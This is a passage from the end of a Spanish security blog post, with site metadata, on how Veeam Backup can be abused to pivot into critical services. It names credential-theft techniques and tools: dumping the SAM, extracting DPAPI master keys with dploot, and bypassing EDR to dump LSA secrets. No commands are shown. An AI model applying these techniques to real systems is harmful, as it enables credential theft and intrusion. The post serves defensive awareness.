deja claro cómo un adversario puede acabar tomando el control de la infraestructura IT de una organización, incluso con una solución de seguridad como un Endpoint Detection and Response (EDR) de por medio.\nY, sobre todo, deja una idea incómoda: un software pensado para proteger los datos frente a ataques como el ransomware puede convertirse en la vía de entrada del atacante, dándole acceso a múltiples servicios críticos y abriendo una brecha de alto impacto. La herramienta que te salva es también la que, mal protegida, te hunde.\nReferencias dploot — herramienta para interactuar con el Windows Credential Manager y el Data Protection API (DPAPI), extraer las master keys y descifrar los blobs. github.com/zblurx/dploot Orange Cyberdefense — Bypassing EDR to dump LSA secrets. orangecyberdefense.com ","permalink":"https://josupalacios99.github.io/blog/posts/veeam-backup-llave-maestra/","summary":"Veeam Backup, ¿qué pasaría si esta solución de protección se convirtiera en la puerta de entrada para un actor malicioso? Dos aproximaciones para volcar la SAM y extraer las master keys de DPAPI evadiendo AV/EDR, usando Veeam como pivote hacia los servicios críticos.","title":"Veeam Backup: de seguro de la organización a llave maestra del atacante"}]